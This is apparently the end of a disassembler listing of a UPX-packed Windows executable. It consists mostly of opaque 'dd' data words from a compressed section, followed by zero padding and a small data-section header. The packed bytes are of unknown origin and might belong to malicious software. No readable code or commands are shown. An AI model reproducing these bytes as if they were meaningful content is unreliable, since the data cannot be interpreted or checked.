5850B4F8h, 1FA753E5h, 785094D8h, 56D034CDh, 23BB8753h dd 0E3E0E123h, 43B54AEh, 8FFC0C01h, 975C3B1h, 9CE01250h dd 0F9D09458h, 0E1458946h, 0E6B0C200h, 0A520A420h, 0C168A71Bh dd 18C4090Ch, 0CCB1B4E8h, 0B7EB14E0h, 0B436923Bh, 572644F9h dd 6CBFCCDEh, 0DC20DCC0h, 0AAF15698h, 39AB1C23h, 0CAF641B1h dd 0FA2015D0h, 2613A4F3h, 447081C5h, 0E947F40Eh, 5C96DC8Dh dd 5C90D418h, 17D7C27Dh, 359BEC00h, 3748F763h, 8780BF20h dd 0CA7F4C45h, 44A575B8h, 0DD205297h, 0E854DFA1h, 0DBBDCD8Ch dd 27F00268h, 0AADF88D5h, 24553F58h, 8BC03277h, 5A8851BDh dd 5CA0A428h, 0BB92A018h, 38426FD0h, 0AF27E2F8h, 2A5F4455h dd 885F94D8h, 0FC408511h, 0EC307950h, 8E652FA8h, 0FF5C11D6h dd 0F0446ABAh, 390F3434h, 9CD61FFAh, 0B32491D1h, 0F793047Eh dd 0B4B3C860h, 0D78897D7h, 0AC78E05Bh, 0B77F3BFDh, 1A4F606Dh dd 5E63FFE8h, 0F4D51DD4h, 0FF40B2F7h, 69B97CFAh, 0DC165B54h dd 33382713h, 0BC00C43Bh, 5949DC78h, 216BDB97h, 8CE62B8Ch dd 896DEC1Eh, 0F93B0BC7h, 5C96DBFCh, 4F989E93h, 0F2ABC842h dd 23755D7Bh, 1C61C460h, 56D49BD8h, 0FF4084C9h, 0DA0FAC0Dh dd 449567A8h, 601062A7h, 390FACB4h, 0ACF034DAh, 0B7E462E5h dd 0BAEF8CDDh, 2CC60748h, 93459ED0h, 881D67D7h, 4C90E227h dd 7BBBCF7Dh, 37F3BBF4h, 0F760A4E9h, 0D8C5ADD4h, 0F340B2F7h dd 0EC31793Dh, 44A567A8h, 0AA1062A7h, 99FF7C09h, 0AC0CB177h dd 0DC6B2468h, 0B8933F5Ah, 89EDEC18h, 0D1890BC7h, 5C96DBFCh dd 4C745117h, 0B983C408h, 2C468B20h, 23F821EBh, 0CDB94EEh dd 0F34CC3E3h, 0EC30B93Ah, 0D4675FA8h, 0CCD4D797h, 7C834488h dd 0B8B7377Ah, 0A378A16Bh, 0DC82146Eh, 4334B1B7h, 0F94FF40Eh dd 5C96DF7Ah, 43505142h, 3C80738Dh, 2CEC5DF8h, 0E35CA4E8h dd 0CC411D7h, 0C2C084C8h, 67B57BADh, 572064A8h, 8F3B55DEh dd 0E814BCh, 950FCB8Ch, 0AADFF0D5h, 8FA76158h, 4AFFDCCDh dd 0F435F738h, 0D5A0D217h, 7AD0D49Dh, 7804F08h, 1A4F4C7Dh dd 2768D6E8h, 3A6F685Dh, 0C129F6C8h, 9C3074B8h, 0C3C853DAh dd 41105498h, 7D8BB8C6h, 0EEF33653h, 9C651F78h, 0F9D02218h dd 6C048744h, 283FC5C7h, 0B7C1F80Ch, 0C91F1703h, 3CB6FBB0h dd 0B4C53F98h, 0F46092D7h, 0F3AF6182h, 0FC402DA9h, 0E245F4B8h dd 0AE2C2383h, 0C4576F91h, 433CC687h, 0A3B9CB87h, 631E96EDh dd 0A8EC9FA7h, 5465A3C9h, 934FF438h, 1E4B9BD7h, 2CB49E99h dd 7260C408h, 20FB74CBh, 0FCE523CCh, 8550A2E7h, 0CA7F584Dh dd 4589F9B8h, 0DF206480h, 0FA2FCC1Dh, 19A52288h, 0AF361F36h dd 0DECB302Ah, 7796D254h, 2E41C3A0h, 69B0F438h, 0D5A0E428h dd 12CF285Eh, 0A97F93CBh, 2C468F66h, 137F4C29h, 0C518E5Dh dd 9614D4C8h, 13CF1E90h, 0EA1B9A3Dh, 93D0D198h, 0BD05CC87h dd 0EC183478h, 741FDB8Dh, 8CD01449h, 3AB4611Bh, 3FD59851h dd 2ED5874Dh, 0DE9A071h, 50353B08h, 0D37082C7h, 2A5BF67Dh dd 78D51DD8h, 1440B2F7h, 0EC3074A1h, 0BD7401FBh, 0BB5F31F3h dd 0CF7221E6h, 0FC805D10h, 0F5964D1Ah, 0E9B77134h, 6D285348h dd 844F0BD1h, 5CA0E43Bh, 29C2B14Bh, 4EEFB07Bh, 4502E49Dh dd 790CCD9Eh, 5B50F1BFh, 3A87720h, 0EC229C47h, 0B97364A8h dd 0A77335DAh, 0CE5034FDh, 0C0994211h, 9C85430Dh, 6406FC0Fh dd 6428FBB7h, 3FB0F438h, 3DC8A74Dh, 2F5B376h, 5AE9B067h dd 4502E481h, 790CCD9Eh, 5B50F1BFh, 3A83720h, 61642447h dd 0EA1AD42Dh, 9C743E98h, 435745E2h, 9ACC3EEDh, 0B8DCAD68h dd 0B79681A7h, 0BCEA047Eh, 52D849B5h, 0CF0E41Eh, 0FC252B48h dd 5480F232h, 2C74B4F9h, 4B61CEBCh, 33240127h, 961484FEh dd 79CF23BCh, 0DC165BDCh, 3304901Bh, 8A3F283Dh, 2E65CB78h dd 0C3E01253h, 0E465999Bh, 2AC03276h, 573661C7h, 0A423E41Eh dd 0F714DBE7h, 0B580C408h, 1A4FCC7Dh, 4A60CEE8h, 37920127h dd 3CC584FEh, 0EC94F0B7h, 1C0B64A8h, 0CF7A04C8h, 0D4012ED8h dd 6CF03478h, 0FE75DB3Eh, 0FD02263h, 0F8CFFBB0h, 6CB0F1D0h dd 63DC61A1h, 0C11DD42Eh, 3CB6FB88h, 13F82175h, 4E31A4DEh dd 0F30094B2h, 0CA7B0A5Dh, 13C8F7B8h, 0D996E0A7h, 0CC7A5498h dd 837CF177h, 390F344Eh, 9CD61FE2h, 832FECDBh, 7CC59BCCh dd 0FC357D38h, 6FA0D217h, 1D53D7D1h, 38EA9558h, 50C54BA9h dd 0E36092D7h, 3A6BF24Dh, 0F38001C8h, 0EC350F3Ch, 55E957A8h dd 0FA2FC01Dh, 0ED511588h, 0A3F02B10h, 91F7468h, 8CE62FF6h dd 0F8CFC4CDh, 6CB0F10Ch, 633861A1h, 0F453D42Eh, 3C80B400h dd 0DB48FF73h, 2A58016Dh, 0C5094D8h, 0FF46F1D8h, 0DA20133Dh dd 0DFF257A8h, 3BE1A359h, 1885CD69h, 14F00247h, 9CE00CC7h dd 8FEC5FD3h, 4AD063CDh, 6F62C738h, 0AB5113E9h, 0D0155DF9h dd 0FF80F237h, 2A3B03F7h, 91554711h, 0BB5F8C8Bh, 2C43908Bh dd 0C4F11FF1h, 0E6A1B4ABh, 0A27923C7h, 3F1D3071h, 0DEF13802h dd 0A0ABAF88h, 8FC456D3h, 384D140Ah, 0B5470B70h, 0D99B250Bh dd 4CA6EB88h, 18D44FCBh, 0A3B087E8h, 1C601C6Ah, 0C3DB57D8h dd 41CD8F23h, 0EC064AD0h, 0EFFFEF54h, 0AD2CF851h, 0C63C42FAh dd 8CDC360Fh, 0E8BC18C2h, 0F8FE28B4h, 9C03895h, 0E77917D0h dd 4E5D929h, 47E4D45Dh, 6EC39735h, 1FF5BBF8h, 979F5B17h dd 4507A9DBh, 784FC786h, 13CF8B9Eh, 89633395h, 0D7945BD6h dd 81FFBB77h, 9EC3772Fh, 63F0A067h, 0DCEDEBA7h, 738F501Bh dd 934FF1BCh, 0B47BD7D7h, 0B36F2A35h, 0C668D47Dh, 0C48F4B04h dd 0E39F5AC9h, 0F2BC10D7h dd 2E737B37h, 0EC306250h, 23438CA8h, 0CCF8AB67h, 0E1004488h dd 9FA3D9F9h, 4709245Eh, 0E8D0145Bh, 0C94B36B7h, 6C86CBA0h dd 3A826D4Ch, 16DDEA99h, 3F444107h, 72FBB4F8h, 7ABEA7D4h dd 4900AF59h, 0FFF401C7h, 0AFC774B8h, 0DC0064BEh, 6B955B98h dd 4A00448Bh, 0A3F2683Bh, 9CE3B9ECh, 84939F58h, 0DC60A475h dd 0E334FB98h, 61A0E42Bh, 6CB0F438h, 3F044007h, 9598B4F8h dd 139F5B16h, 0C53ED5Ah, 20E507C8h, 0EC304287h, 57282623h dd 0D3B44D2h, 7C3340FBh, 64F33193h, 15F06EE1h, 0BAEFB4DDh dd 708A0748h, 6DB0F480h, 0CC48B528h, 7C6F2BFFh, 0AB8679Dh dd 1C5005F8h, 2A58005Dh, 0F270FED8h, 0E838DC01h, 13D70250h dd 0D3F2E157h, 2EC3960Ch, 84A5D1B9h, 491B344Eh, 0A445A19Fh dd 8CD0146Eh, 5EB40548h, 541571CFh, 5CA3E41Eh, 40E5D418h dd 4256189h, 0D38FB4CEh, 168B5F17h, 34F51959h, 0FC4084FEh dd 0EA587CB8h, 852064A8h, 0CC1052F0h, 94E81C88h, 260FCB9Fh dd 0AAD8B9EDh, 0A6549258h, 7CF63CD5h, 542D71B0h, 0BC42E41Eh dd 743551EFh, 3C88C43Eh, 2505B4F8h, 24FF1968h, 785194EEh dd 59C5730Dh, 0EC304280h, 0A82864A8h, 51ADD483h, 0B90072B0h dd 1170840Ch, 9CD61CF6h, 0C77605Dh, 4AF89BF5h, 0F2C4F138h dd 640561DFh, 4C90D42Eh, 35F44408h, 14ED0978h, 6B62A4DEh dd 0ECF51751h, 0FC40B2F7h, 13C37350h, 21418C57h, 0BCF8AB67h dd 3700448Ah, 9ACFA8E5h, 3C7D2768h, 64D02267h, 833FF831h dd 6EE07037h, 0E92BE428h, 4CA6EB80h, 3FBC9A83h, 0D10A5C26h dd 9E6F5B17h, 0C5096E2h, 9C64CE49h, 67D074B8h, 0DF763656h dd 0B61340E2h, 1985B398h, 0ACF00240h, 0E9F02468h, 686D9D4Ch dd 0F1C03277h, 5A88448Dh, 3B2D6F28h, 0BF90E208h, 103993ACh dd 0A170B4F2h, 2A70A45Dh, 0BDF567D8h, 0F4267C8h, 49B5831Ch dd 0DC205290h, 0C3005498h, 0BC00EA0Ch, 8483CB78h, 630E9280h dd 58459FA7h, 0F9C03277h, 0F434FBEAh, 0D7A0E428h, 7AAF4CADh dd 2CCA4F08h, 4C54FE79h, 3780A4E8h, 0E239C92h, 8E434DFBh dd 8BBD4FACh, 572052B8h, 0FA003315h, 37563688h, 9731044h dd 9CD6340Fh, 0EB779758h, 7CC00448h, 6DB88EB3h, 0ABA3EC62h dd 0C91B239Fh, 3CB6FBA4h, 14D5310Fh, 1C20A4DEh, 0E2494D8h dd 8E439C3Fh, 65005DB4h, 0EA1F841Dh, 0E463DF98h, 39F77489h dd 0ACC60CDDh, 9CE02428h, 9427162Ch, 8089EC19h, 87E90BC7h dd 74D3E724h, 1D9CA633h, 6324375Eh, 9CC539A1h, 956092D0h dd 3A6F7065h, 0A3E477C8h, 7E017BE6h, 0DCF3E325h, 592A5498h dd 0BC367C2Bh, 7E99320Dh, 8ED47210h, 642044D0h, 833FDEE8h dd 60FA7F62h, 0ABB0AE2Bh, 7AA8719Dh, 3C80C408h, 293139E8h dd 91E9B79Dh, 0C66AB38h, 0EC2701CBh, 4BB3748Eh, 0DC2064CFh dd 0E4537F98h, 0BC52C301h, 29073478h, 9CD61808h, 8CD01459h dd 3F07033Ch, 0CC105430h, 0F9251388h, 4C90E220h, 4800C408h dd 5698E6FFh, 469F5B1Fh, 33B01953h, 0F9A384FEh, 7183F31h dd 0ADEFA5h, 2F1062A7h, 3703AF8Ah, 29071C33h, 9CD61CCDh dd 8CD0145Bh, 0F94B103Ch, 6C86CBDCh, 6370692Bh, 0C993D42Eh dd 3CB6FBC4h, 66FBBCF9h, 80E52FF8h, 3550A2E7h, 0FF338C82h dd 0ED383E31h, 0BFA374EAh, 499B54C0h, 0BC367B2Ch, 0ACD88410h dd 94A22568h, 0DC931501h, 446391C2h, 0E947F40Eh, 5C96DC8Dh dd 5C90D418h, 0B183C27Ch, 2C46A49Fh, 9997A45Eh, 0C66AC7Dh dd 0FC4284C8h, 2ACE60CDh, 0E485E15Fh, 0CC1054AEh, 0BA75448Ch dd 945481F2h, 1917245Eh, 8CE62CFDh, 7CC04448h, 6B3AFF4Dh dd 5E0A262Ah, 0A76736CEh, 0E874E01h, 0FA721E3Ah, 0CE53530Ah dd 68721FBCh, 7F188647h, 0DA0F0805h, 582F64A8h, 33EFAE46h dd 8398F177h, 390F344Eh, 9CD61FBAh, 0B344A1A7h, 0E93F047Eh dd 6C86CF7Eh, 632069A5h, 0D91DD42Eh, 3CB6FB80h, 2C1AE6A9h dd 231C1117h, 99AF94EEh, 0FC76BF0Eh, 0D34CC147h, 49DF649Eh dd 0CC266FDEh, 8268F105h, 190F344Eh, 9CD61B10h, 4E45EB0Eh dd 0FFC03273h, 5A8F889Dh, 0B463E428h, 4C90D418h, 0BD81AE55h dd 1A470415h, 1390FCE8h, 19241119h, 3CC584FEh, 13F8F77Bh dd 59E16B58h, 0CC2641ECh, 0BC10794Bh, 0B0853452h, 0B89CA50Eh dd 0F9A17854h, 0B828645Bh, 194F0BC7h, 0A6740C2Dh, 9E782BE7h dd 5D7F3BF7h, 545D4BD6h, 0A47290BEh, 0C5094FDh, 3E56CA8h dd 0D5458B47h, 0EC042023h, 0F278E115h, 0EC8B44BEh, 96715270h dd 0B993266Eh, 8CD07C0Eh, 0B84B04B7h, 3CE2F452h, 60B271D7h dd 8813D42Eh, 60BE4500h, 592C8BC7h, 18A627EBh, 0F3AA1530h dd 33F6C37h, 2F518B47h, 0DC201010h, 74A1BF98h, 0BC0044A7h dd 0ACF02990h, 9CC0E668h, 8CD024E0h, 7CD0EC48h, 4872F438h dd 5D255C28h, 4F78D418h, 0FE80C408h, 78FDB4D4h, 32ADA8CCh dd 70506C5Bh, 0FCA8E4D1h, 673074B8h, 811040FCh, 21914E13h dd 0BC367C0Fh, 53118E90h, 98224597h, 8BD11758h, 3AC6014Ah dd 0C53E09AAh, 9415FF49h, 90010011h, 1CEh dup(0) dd offset sub_3143A098 dd 13DFh dup(0) UPX2 ends ; Section 4. (virtual address 00022000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00022000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 31442000h dd 80h dup(0) align 1000h _idata2 ends end start